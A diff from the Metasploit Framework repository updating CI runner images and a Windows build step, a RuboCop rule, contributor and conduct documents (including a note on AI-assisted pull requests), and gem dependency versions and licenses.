+1 -1
View File
@@ -31,7 +31,7 @@ jobs:
- ubuntu-latest
- windows-2022
- windows-2025
- macos-13
- macos-15-intel
env:
RAILS_ENV: test
@@ -67,7 +67,7 @@ jobs:
fail-fast: false
matrix:
os:
- macos-13
- macos-15-intel
- windows-2022
- ubuntu-latest
ruby:
@@ -92,7 +92,7 @@ jobs:
# - { meterpreter: { name: windows_meterpreter }, ruby: '3.4', os: windows-2025 }
# Mettle
- { meterpreter: { name: mettle }, os: macos-13 }
- { meterpreter: { name: mettle }, os: macos-15-intel }
- { meterpreter: { name: mettle }, os: ubuntu-latest }
runs-on: ${{ matrix.os }}
@@ -269,12 +269,26 @@ jobs:
working-directory: metasploit-payloads
- name: Build Windows payloads via Visual Studio 2022 Build (Windows)
shell: cmd
shell: pwsh
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2022' && inputs.build_metasploit_payloads }}
run: |
cd c/meterpreter
git submodule init && git submodule update
make.bat
Set-Location "C:\Program Files (x86)\Microsoft Visual Studio\Installer\"
dir
$InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise"
$WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"'
$Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache')
$process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden
if ($process.ExitCode -eq 0) {
Write-Host "components have been successfully added"
} else {
Write-Host "components were not installed"
exit 1
}
Set-Location "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter"
$r = Invoke-Command -ScriptBlock { cmd.exe /c 'git submodule init && git submodule update' }
Write-Host $r
$r = Invoke-Command -ScriptBlock { cmd.exe /c '"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat' }
Write-Host $r
working-directory: metasploit-payloads
- name: Build Windows payloads via Visual Studio 2025 Build (Windows)
+7
View File
@@ -24,6 +24,7 @@ require:
- ./lib/rubocop/cop/lint/module_enforce_notes.rb
- ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
- ./lib/rubocop/cop/lint/detect_metadata_trailing_leading_whitespace.rb
- ./lib/rubocop/cop/lint/detect_outdated_cmd_exec_api.rb
Layout/SpaceBeforeBrackets:
Enabled: true
@@ -676,3 +677,9 @@ Style/UnpackFirst:
Lint/DetectMetadataTrailingLeadingWhitespace:
Enabled: true
Lint/DetectOutdatedCmdExecApi:
Description: >-
Detects outdated usage of cmd_exec with separate arguments.
Use `create_process(executable, args: [], time_out: 15, opts: {})` API with an args array instead.
Enabled: true
+1 -1
View File
@@ -37,7 +37,7 @@ when an individual is representing the project or its community.
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project maintainers at msfdev@metasploit.com. If
the incident involves a committer, you may report it directly to
caitlin_condon@rapid7.com or todb@metasploit.com.
smcintyre@metasploit.com or jacquelyn_harris@rapid7.com.
All complaints will be reviewed and investigated and will result in a
response that is deemed necessary and appropriate to the circumstances.
+6 -4
View File
@@ -11,7 +11,7 @@ Before we get into the details of contributing code, you should know there are m
- [Help fellow users with open issues]. This can require technical knowledge, but you can also get involved in conversations about bug reports and feature requests. This is a great way to get involved without getting too overwhelmed!
- [Help fellow committers test recently submitted pull requests](https://github.com/rapid7/metasploit-framework/pulls). Again this can require some technical skill, but by pulling down a pull request and testing it, you can help ensure our new code contributions for stability and quality.
- [Report a security vulnerability in Metasploit itself] to Rapid7. If you see something you think makes Metasploit vulnerable to an attack, let us know!
- Add [module documentation]. New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
- Add [module documentation]. New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native English speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
## Code Contributions
@@ -25,8 +25,10 @@ will be closed. We need to ensure the code we're adding to master is written to
## Expedited Module Creation Process
We strive to respect the community that has given us so much, so in the odd situation where we get multiple submissions for the same vulnerability, generally we will work with the first person who assigns themselves to the issue or the first person that submits a good-faith PR. A good-faith PR might not even work, but it will show that the author is working their way toward a solution. Despite this general rule, there are rare circumstances where we may ask a contributor to step aside or allow a committer to take the lead on the creation of a new module if a complete and working module with documents has not already been submitted. This kind of expedited module creation process comes up infrequently, and usually it involves high-profile or high priority modules that we have marked internally as time-critical: think KEV list, active exploitation campaigns, CISA announcements, etc. In those cases, we may ask a contributor that is assigned to the issue or who has submitted an incomplete module to allow a committer to take over an issue or a module PR in the interest of getting a module out quickly. If a contributor has submitted an incomplete module, they will remain as a co-author of the module and we may build directly onto the PR they submitted, leaving the original commits in the tree. We sincerely hope that the original author will remain involved in this expedited module creation process. We would appreciate testing, critiquing, and any assistance that can be offered. If the module is complete but requires minor changes, we may ask the contributor to allow us to take over testing/verification and make these minor changes without asking so we can land the module as quickly as possible. In these cases of minor code changes, the authorship of the module will remain unchanged. We hope everyone involved in this expedited module creation process continues to feel valued and appreciated.
### Code Contribution Do's & Don'ts:
## Vibecoding, AI, and LLM
My first job had a token ring LAN and I still own a Win98SE CD, so I'm not entirely sure what _vibecoding_ is, but we're cool with any coding technique you use to create a PR as long as it is tested, documented, and does what it says it does. Untested code is incomplete code, and incomplete code should be marked as a draft PR or WIP (Work in Progress) until it is complete, tested, and ready for a committer to review. We have had several submissions clearly from AI that were well-formatted, looked really neat, and did nothing it said it did. While we have no problem with AI-assisted coding, please do not assume that the code generated by an AI or LLM is logically or even syntactically correct.
### Code Contribution Do's & Don'ts:
Keeping the following in mind gives your contribution the best chance of landing!
#### <u>Pull Requests</u>
@@ -42,7 +44,7 @@ Keeping the following in mind gives your contribution the best chance of landing
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
* **Do** test your code.
* **Do** test your code and submit the test output in your PR with any sensitive information removed.
* **Do** list [verification steps] so committers can test your code.
* **Do** [reference associated issues] in your pull request description.
* **Don't** leave your pull request description blank.
@@ -85,7 +87,7 @@ When reporting Metasploit issues:
* **Don't** attempt to report issues on a closed PR.
If you need some more guidance, talk to the main body of open source contributors over on our
[Metasploit Slack] or [#metasploit on Freenode IRC].
[GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions) or [Metasploit Slack]
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
curve, so keep it up!
+117 -106
View File
@@ -1,12 +1,12 @@
PATH
remote: .
specs:
metasploit-framework (6.4.76)
metasploit-framework (6.4.104)
aarch64
abbrev
actionpack (~> 7.1.0)
activerecord (~> 7.1.0)
activesupport (~> 7.1.0)
actionpack (~> 7.2.0)
activerecord (~> 7.2.0)
activesupport (~> 7.2.0)
aws-sdk-ec2
aws-sdk-ec2instanceconnect
aws-sdk-iam
@@ -20,8 +20,8 @@ PATH
bootsnap
bson
chunky_png
concurrent-ruby (= 1.3.4)
csv
date (= 3.4.1)
dnsruby
drb
ed25519
@@ -29,7 +29,7 @@ PATH
em-http-request
eventmachine
faker
faraday (= 2.7.11)
faraday
faraday-retry
faye-websocket
ffi (< 1.17.0)
@@ -46,9 +46,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.221)
metasploit-payloads (= 2.0.237)
metasploit_data_models (>= 6.0.7)
metasploit_payloads-mettle (= 1.0.42)
metasploit_payloads-mettle (= 1.0.45)
mqtt
msgpack (~> 1.6.0)
mutex_m
@@ -61,11 +61,12 @@ PATH
network_interface
nexpose
nokogiri
octokit (~> 4.0)
octokit
openssl-ccm
openvas-omp
ostruct
packetfu
parallel
patch_finder
pcaprub
pdf-reader
@@ -78,6 +79,7 @@ PATH
recog
redcarpet
reline
rest-client
rex-arch
rex-bin_tools
rex-core
@@ -96,6 +98,7 @@ PATH
rex-struct2
rex-text
rex-zip
rexml (= 3.4.1)
rinda
ruby-macho
ruby-mysql
@@ -108,7 +111,7 @@ PATH
stringio (= 3.1.1)
swagger-blocks
syslog
thin (~> 1.8)
thin (~> 1.x)
tzinfo
tzinfo-data
unix-crypt
@@ -127,41 +130,41 @@ GEM
aarch64 (2.1.0)
racc (~> 1.6)
abbrev (0.1.2)
actionpack (7.1.5.1)
actionview (= 7.1.5.1)
activesupport (= 7.1.5.1)
actionpack (7.2.2.2)
actionview (= 7.2.2.2)
activesupport (= 7.2.2.2)
nokogiri (>= 1.8.5)
racc
rack (>= 2.2.4)
rack (>= 2.2.4, < 3.2)
rack-session (>= 1.0.1)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.2)
rails-html-sanitizer (~> 1.6)
actionview (7.1.5.1)
activesupport (= 7.1.5.1)
useragent (~> 0.16)
actionview (7.2.2.2)
activesupport (= 7.2.2.2)
builder (~> 3.1)
erubi (~> 1.11)
rails-dom-testing (~> 2.2)
rails-html-sanitizer (~> 1.6)
activemodel (7.1.5.1)
activesupport (= 7.1.5.1)
activerecord (7.1.5.1)
activemodel (= 7.1.5.1)
activesupport (= 7.1.5.1)
activemodel (7.2.2.2)
activesupport (= 7.2.2.2)
activerecord (7.2.2.2)
activemodel (= 7.2.2.2)
activesupport (= 7.2.2.2)
timeout (>= 0.4.0)
activesupport (7.1.5.1)
activesupport (7.2.2.2)
base64
benchmark (>= 0.3)
bigdecimal
concurrent-ruby (~> 1.0, >= 1.0.2)
concurrent-ruby (~> 1.0, >= 1.3.1)
connection_pool (>= 2.2.5)
drb
i18n (>= 1.6, < 2)
logger (>= 1.4.2)
minitest (>= 5.1)
mutex_m
securerandom (>= 0.3)
tzinfo (~> 2.0)
tzinfo (~> 2.0, >= 2.0.5)
addressable (2.8.7)
public_suffix (>= 2.0.2, < 7.0)
afm (0.2.2)
@@ -175,61 +178,62 @@ GEM
arel-helpers (2.16.0)
activerecord (>= 3.1.0, < 8.1)
ast (2.4.3)
aws-eventstream (1.4.0)
aws-partitions (1.1134.0)
aws-sdk-core (3.227.0)
aws-eventstream (1.3.2)
aws-partitions (1.1065.0)
aws-sdk-core (3.220.1)
aws-eventstream (~> 1, >= 1.3.0)
aws-partitions (~> 1, >= 1.992.0)
aws-sigv4 (~> 1.9)
base64
jmespath (~> 1, >= 1.6.1)
logger
aws-sdk-ec2 (1.541.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-ec2 (1.511.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-ec2instanceconnect (1.59.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-ec2instanceconnect (1.55.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-iam (1.125.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-iam (1.119.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-kms (1.107.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-kms (1.99.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-s3 (1.194.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-s3 (1.182.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.5)
aws-sdk-ssm (1.199.0)
aws-sdk-core (~> 3, >= 3.227.0)
aws-sdk-ssm (1.191.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sigv4 (1.12.1)
aws-sigv4 (1.11.0)
aws-eventstream (~> 1, >= 1.0.2)
base64 (0.2.0)
base64 (0.3.0)
bcrypt (3.1.20)
bcrypt_pbkdf (1.1.1)
benchmark (0.4.1)
bigdecimal (3.2.2)
bigdecimal (3.2.3)
bindata (2.4.15)
bootsnap (1.18.6)
bootsnap (1.18.4)
msgpack (~> 1.2)
bson (5.1.1)
builder (3.3.0)
byebug (12.0.0)
chunky_png (1.4.0)
coderay (1.1.3)
concurrent-ruby (1.3.4)
connection_pool (2.5.3)
concurrent-ruby (1.3.5)
connection_pool (2.5.4)
cookiejar (0.3.4)
crass (1.0.6)
csv (3.3.5)
csv (3.3.2)
daemons (1.4.1)
date (3.4.1)
debug (1.11.0)
irb (~> 1.10)
reline (>= 0.3.8)
diff-lcs (1.6.2)
dnsruby (1.72.2)
dnsruby (1.73.1)
base64 (>= 0.2)
logger (~> 1.6)
simpleidn (~> 0.2.1)
docile (1.4.1)
domain_name (0.6.20240107)
@@ -246,28 +250,28 @@ GEM
em-socksify (0.3.3)
base64
eventmachine (>= 1.0.0.beta.4)
erb (5.0.2)
erb (5.0.3)
erubi (1.13.1)
eventmachine (1.2.7)
factory_bot (6.5.4)
factory_bot (6.5.5)
activesupport (>= 6.1.0)
factory_bot_rails (6.5.0)
factory_bot_rails (6.5.1)
factory_bot (~> 6.5)
railties (>= 6.1.0)
faker (3.5.2)
faker (3.5.1)
i18n (>= 1.8.11, < 2)
faraday (2.7.11)
base64
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
faraday-retry (2.3.2)
faraday-retry (2.2.1)
faraday (~> 2.0)
faye-websocket (0.12.0)
faye-websocket (0.11.3)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.8.0)
websocket-driver (>= 0.5.1)
ffi (1.16.3)
fiddle (1.1.8)
fiddle (1.1.6)
filesize (0.2.0)
fivemat (1.3.7)
forwardable (1.3.3)
@@ -282,6 +286,7 @@ GEM
hrr_rb_ssh-ed25519 (0.4.2)
ed25519 (~> 1.2)
hrr_rb_ssh (>= 0.4)
http-accept (1.7.0)
http-cookie (1.0.8)
domain_name (~> 0.5)
http_parser.rb (0.8.0)
@@ -298,7 +303,7 @@ GEM
jmespath (1.6.2)
jsobfu (0.4.2)
rkelly-remix
json (2.13.1)
json (2.15.1)
language_server-protocol (3.17.0.5)
license_finder (5.11.1)
bundler
@@ -326,7 +331,7 @@ GEM
mutex_m
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.16)
metasploit-credential (6.0.19)
bigdecimal
csv
drb
@@ -339,7 +344,7 @@ GEM
railties
rex-socket
rubyntlm
rubyzip
rubyzip (< 3.0.0)
metasploit-model (5.0.4)
activemodel (~> 7.0)
activesupport (~> 7.0)
@@ -347,36 +352,34 @@ GEM
drb
mutex_m
railties (~> 7.0)
metasploit-payloads (2.0.221)
metasploit_data_models (6.0.10)
metasploit-payloads (2.0.237)
metasploit_data_models (6.0.9)
activerecord (~> 7.0)
activesupport (~> 7.0)
arel-helpers
bigdecimal
drb
metasploit-concern
metasploit-model (>= 3.1)
mutex_m
pg
railties (~> 7.0)
recog
webrick
metasploit_payloads-mettle (1.0.42)
metasploit_payloads-mettle (1.0.45)
method_source (1.1.0)
mime-types (3.7.0)
logger
mime-types-data (~> 3.2025, >= 3.2025.0507)
mime-types-data (3.2025.0722)
mime-types-data (3.2025.0924)
mini_portile2 (2.8.9)
minitest (5.25.5)
mqtt (0.6.0)
mqtt (0.7.0)
logger
msgpack (1.6.1)
multi_json (1.17.0)
multi_json (1.15.0)
mustermann (3.0.3)
ruby2_keywords (~> 0.0.1)
mutex_m (0.3.0)
nessus_rest (0.1.6)
net-imap (0.5.9)
net-imap (0.5.6)
date
net-protocol
net-ldap (0.19.0)
@@ -387,25 +390,26 @@ GEM
net-smtp (0.5.1)
net-protocol
net-ssh (7.3.0)
netrc (0.11.0)
network_interface (0.0.4)
nexpose (7.3.0)
nio4r (2.7.4)
nokogiri (1.18.9)
nokogiri (1.18.10)
mini_portile2 (~> 2.8.2)
racc (~> 1.4)
nori (2.7.1)
bigdecimal
octokit (4.25.1)
octokit (10.0.0)
faraday (>= 1, < 3)
sawyer (~> 0.9)
openssl-ccm (1.2.3)
openssl-cmac (2.0.2)
openvas-omp (0.0.4)
ostruct (0.6.3)
ostruct (0.6.1)
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.27.0)
parser (3.3.8.0)
parser (3.3.9.0)
ast (~> 2.4.1)
racc
parslet (1.8.2)
@@ -418,10 +422,10 @@ GEM
ruby-rc4
ttfunk
pg (1.5.9)
pp (0.6.2)
pp (0.6.3)
prettyprint
prettyprint (0.2.0)
prism (1.4.0)
prism (1.5.1)
pry (0.15.2)
coderay (~> 1.1)
method_source (~> 1.0)
@@ -435,7 +439,7 @@ GEM
puma (6.6.0)
nio4r (~> 2.0)
racc (1.8.1)
rack (2.2.17)
rack (2.2.19)
rack-protection (3.2.0)
base64 (>= 0.1.0)
rack (~> 2.2, >= 2.2.4)
@@ -453,10 +457,10 @@ GEM
rails-html-sanitizer (1.6.2)
loofah (~> 2.21)
nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
railties (7.1.5.1)
actionpack (= 7.1.5.1)
activesupport (= 7.1.5.1)
irb
railties (7.2.2.2)
actionpack (= 7.2.2.2)
activesupport (= 7.2.2.2)
irb (~> 1.13)
rackup (>= 1.0.0)
rake (>= 12.2)
thor (~> 1.0, >= 1.2.2)
@@ -466,30 +470,36 @@ GEM
rasn1 (0.14.0)
strptime (~> 0.2.5)
rb-readline (0.5.5)
rdoc (6.14.2)
rdoc (6.15.0)
erb
psych (>= 4.0.0)
recog (3.1.18)
tsort
recog (3.1.14)
nokogiri
redcarpet (3.6.1)
regexp_parser (2.10.0)
regexp_parser (2.11.3)
reline (0.6.2)
io-console (~> 0.5)
require_all (3.0.0)
rest-client (2.1.0)
http-accept (>= 1.7.0, < 2.0)
http-cookie (>= 1.0.2, < 2.0)
mime-types (>= 1.16, < 4.0)
netrc (~> 0.8)
rex-arch (0.1.18)
rex-text
rex-bin_tools (0.1.12)
rex-bin_tools (0.1.10)
metasm
rex-arch
rex-core
rex-struct2
rex-text
rex-core (0.1.34)
rex-core (0.1.35)
rex-encoder (0.1.8)
metasm
rex-arch
rex-text
rex-exploitation (0.1.42)
rex-exploitation (0.1.44)
bigdecimal
jsobfu
metasm
@@ -499,19 +509,18 @@ GEM
rex-text
rexml
rex-java (0.1.8)
rex-mime (0.1.12)
bigdecimal
rex-mime (0.1.11)
rex-text
rex-nop (0.1.4)
rex-arch
rex-ole (0.1.9)
rex-text
rex-powershell (0.1.102)
rex-powershell (0.1.103)
bigdecimal
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.16)
rex-random_identifier (0.1.21)
bigdecimal
rex-text
rex-registry (0.1.6)
@@ -519,7 +528,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.63)
rex-socket (0.1.64)
dnsruby
rex-core
rex-sslscan (0.1.13)
@@ -549,17 +558,17 @@ GEM
rspec-mocks (3.13.5)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.13.0)
rspec-rails (7.1.1)
actionpack (>= 7.0)
activesupport (>= 7.0)
railties (>= 7.0)
rspec-rails (8.0.2)
actionpack (>= 7.2)
activesupport (>= 7.2)
railties (>= 7.2)
rspec-core (~> 3.13)
rspec-expectations (~> 3.13)
rspec-mocks (~> 3.13)
rspec-support (~> 3.13)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.13.4)
rspec-support (3.13.6)
rubocop (1.75.7)
json (~> 2.3)
language_server-protocol (~> 3.17.0.2)
@@ -571,7 +580,7 @@ GEM
rubocop-ast (>= 1.44.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 4.0)
rubocop-ast (1.46.0)
rubocop-ast (1.47.1)
parser (>= 3.3.7.2)
prism (~> 1.4)
ruby-macho (4.1.0)
@@ -581,7 +590,7 @@ GEM
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.3.16)
ruby_smb (3.3.15)
bindata (= 2.4.15)
openssl-ccm
openssl-cmac
@@ -597,7 +606,7 @@ GEM
simplecov (0.18.2)
docile (~> 1.1)
simplecov-html (~> 0.11)
simplecov-html (0.13.2)
simplecov-html (0.13.1)
simpleidn (0.2.3)
sinatra (3.2.0)
mustermann (~> 3.0)
@@ -618,25 +627,27 @@ GEM
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.4.0)
tilt (2.6.1)
tilt (2.6.0)
timecop (0.9.10)
timeout (0.4.3)
toml (0.2.0)
parslet (~> 1.8.0)
tsort (0.2.0)
ttfunk (1.8.0)
bigdecimal (~> 3.1)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2025.2)
tzinfo-data (1.2025.1)
tzinfo (>= 1.0.0)
unicode-display_width (3.1.4)
unicode-emoji (~> 4.0, >= 4.0.4)
unicode-emoji (4.0.4)
unicode-display_width (3.2.0)
unicode-emoji (~> 4.1)
unicode-emoji (4.1.0)
unix-crypt (1.3.1)
useragent (0.16.11)
warden (1.2.9)
rack (>= 2.0.9)
webrick (1.9.1)
websocket-driver (0.8.0)
websocket-driver (0.7.7)
base64
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
+65 -60
View File
@@ -2,15 +2,15 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 2.0.1, MIT
aarch64, 2.1.0, "Apache 2.0"
abbrev, 0.1.2, "ruby, Simplified BSD"
actionpack, 7.1.5.1, MIT
actionview, 7.1.5.1, MIT
activemodel, 7.1.5.1, MIT
activerecord, 7.1.5.1, MIT
activesupport, 7.1.5.1, MIT
actionpack, 7.2.2.2, MIT
actionview, 7.2.2.2, MIT
activemodel, 7.2.2.2, MIT
activerecord, 7.2.2.2, MIT
activesupport, 7.2.2.2, MIT
addressable, 2.8.7, "Apache 2.0"
afm, 0.2.2, MIT
allure-rspec, 2.26.0, "Apache 2.0"
allure-ruby-commons, 2.26.0, "Apache 2.0"
allure-rspec, 2.27.0, "Apache 2.0"
allure-ruby-commons, 2.27.0, "Apache 2.0"
arel-helpers, 2.16.0, MIT
ast, 2.4.3, MIT
aws-eventstream, 1.3.2, "Apache 2.0"
@@ -23,41 +23,41 @@ aws-sdk-kms, 1.99.0, "Apache 2.0"
aws-sdk-s3, 1.182.0, "Apache 2.0"
aws-sdk-ssm, 1.191.0, "Apache 2.0"
aws-sigv4, 1.11.0, "Apache 2.0"
base64, 0.2.0, "ruby, Simplified BSD"
base64, 0.3.0, "ruby, Simplified BSD"
bcrypt, 3.1.20, MIT
bcrypt_pbkdf, 1.1.1, MIT
benchmark, 0.4.1, "ruby, Simplified BSD"
bigdecimal, 3.2.2, "ruby, Simplified BSD"
bigdecimal, 3.2.3, "ruby, Simplified BSD"
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.18.4, MIT
bson, 5.0.2, "Apache 2.0"
bson, 5.1.1, "Apache 2.0"
builder, 3.3.0, MIT
bundler, 2.5.22, MIT
byebug, 11.1.3, "Simplified BSD"
byebug, 12.0.0, "Simplified BSD"
chunky_png, 1.4.0, MIT
coderay, 1.1.3, MIT
concurrent-ruby, 1.3.4, MIT
connection_pool, 2.5.3, MIT
concurrent-ruby, 1.3.5, MIT
connection_pool, 2.5.4, MIT
cookiejar, 0.3.4, "Simplified BSD"
crass, 1.0.6, MIT
csv, 3.3.2, "ruby, Simplified BSD"
daemons, 1.4.1, MIT
date, 3.4.1, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
dnsruby, 1.72.4, "Apache 2.0"
debug, 1.11.0, "ruby, Simplified BSD"
diff-lcs, 1.6.2, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
dnsruby, 1.73.1, "Apache 2.0"
docile, 1.4.1, MIT
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
drb, 2.2.3, "ruby, Simplified BSD"
ed25519, 1.3.0, MIT
ed25519, 1.4.0, MIT
elftools, 1.3.1, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.3, MIT
erb, 5.0.2, "ruby, Simplified BSD"
erb, 5.0.3, "ruby, Simplified BSD"
erubi, 1.13.1, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.5.1, MIT
factory_bot_rails, 6.4.4, MIT
factory_bot, 6.5.5, MIT
factory_bot_rails, 6.5.1, MIT
faker, 3.5.1, MIT
faraday, 2.7.11, MIT
faraday-net_http, 3.0.2, MIT
@@ -74,6 +74,7 @@ gyoku, 1.4.0, MIT
hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.4.2, "Apache 2.0"
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-accept, 1.7.0, MIT
http-cookie, 1.0.8, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.9.0, ruby
@@ -83,30 +84,30 @@ ipaddr, 1.2.7, "ruby, Simplified BSD"
irb, 1.15.2, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.10.2, ruby
json, 2.15.1, ruby
language_server-protocol, 3.17.0.5, MIT
license_finder, 5.11.1, MIT
lint_roller, 1.1.0, MIT
little-plugger, 1.1.4, MIT
logger, 1.6.6, "ruby, Simplified BSD"
logger, 1.7.0, "ruby, Simplified BSD"
logging, 2.4.0, MIT
loofah, 2.24.1, MIT
lru_redux, 1.1.0, MIT
memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.5, "New BSD"
metasploit-credential, 6.0.16, "New BSD"
metasploit-framework, 6.4.76, "New BSD"
metasploit-credential, 6.0.19, "New BSD"
metasploit-framework, 6.4.104, "New BSD"
metasploit-model, 5.0.4, "New BSD"
metasploit-payloads, 2.0.221, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.10, "New BSD"
metasploit_payloads-mettle, 1.0.42, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.237, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.9, "New BSD"
metasploit_payloads-mettle, 1.0.45, "3-clause (or ""modified"") BSD"
method_source, 1.1.0, MIT
mime-types, 3.6.0, MIT
mime-types-data, 3.2025.0304, MIT
mime-types, 3.7.0, MIT
mime-types-data, 3.2025.0924, MIT
mini_portile2, 2.8.9, MIT
minitest, 5.25.5, MIT
mqtt, 0.6.0, MIT
mqtt, 0.7.0, MIT
msgpack, 1.6.1, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 3.0.3, MIT
@@ -118,65 +119,67 @@ net-protocol, 0.2.2, "ruby, Simplified BSD"
net-sftp, 4.0.0, MIT
net-smtp, 0.5.1, "ruby, Simplified BSD"
net-ssh, 7.3.0, MIT
netrc, 0.11.0, MIT
network_interface, 0.0.4, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.7.4, "MIT, Simplified BSD"
nokogiri, 1.18.8, MIT
nokogiri, 1.18.10, MIT
nori, 2.7.1, MIT
octokit, 4.25.1, MIT
octokit, 10.0.0, MIT
openssl-ccm, 1.2.3, MIT
openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
ostruct, 0.6.1, "ruby, Simplified BSD"
packetfu, 2.0.0, "New BSD"
parallel, 1.27.0, MIT
parser, 3.3.8.0, MIT
parser, 3.3.9.0, MIT
parslet, 1.8.2, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.3, LGPL-2.1
pdf-reader, 2.14.1, MIT
pg, 1.5.9, "Simplified BSD"
pp, 0.6.2, "ruby, Simplified BSD"
pp, 0.6.3, "ruby, Simplified BSD"
prettyprint, 0.2.0, "ruby, Simplified BSD"
prism, 1.4.0, MIT
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
prism, 1.5.1, MIT
pry, 0.15.2, MIT
pry-byebug, 3.11.0, MIT
psych, 5.2.6, MIT
public_suffix, 6.0.1, MIT
public_suffix, 6.0.2, MIT
puma, 6.6.0, "New BSD"
racc, 1.8.1, "ruby, Simplified BSD"
rack, 2.2.17, MIT
rack, 2.2.19, MIT
rack-protection, 3.2.0, MIT
rack-session, 1.0.2, MIT
rack-test, 2.2.0, MIT
rackup, 1.0.1, MIT
rails-dom-testing, 2.3.0, MIT
rails-html-sanitizer, 1.6.2, MIT
railties, 7.1.5.1, MIT
railties, 7.2.2.2, MIT
rainbow, 3.1.1, MIT
rake, 13.3.0, MIT
rasn1, 0.14.0, MIT
rb-readline, 0.5.5, BSD
rdoc, 6.14.2, ruby
recog, 3.1.17, unknown
rdoc, 6.15.0, ruby
recog, 3.1.14, unknown
redcarpet, 3.6.1, MIT
regexp_parser, 2.10.0, MIT
reline, 0.6.1, ruby
regexp_parser, 2.11.3, MIT
reline, 0.6.2, ruby
require_all, 3.0.0, MIT
rest-client, 2.1.0, MIT
rex-arch, 0.1.18, "New BSD"
rex-bin_tools, 0.1.10, "New BSD"
rex-core, 0.1.34, "New BSD"
rex-core, 0.1.35, "New BSD"
rex-encoder, 0.1.8, "New BSD"
rex-exploitation, 0.1.41, "New BSD"
rex-exploitation, 0.1.44, "New BSD"
rex-java, 0.1.8, "New BSD"
rex-mime, 0.1.11, "New BSD"
rex-nop, 0.1.4, "New BSD"
rex-ole, 0.1.9, "New BSD"
rex-powershell, 0.1.101, "New BSD"
rex-random_identifier, 0.1.16, "New BSD"
rex-powershell, 0.1.103, "New BSD"
rex-random_identifier, 0.1.21, "New BSD"
rex-registry, 0.1.6, "New BSD"
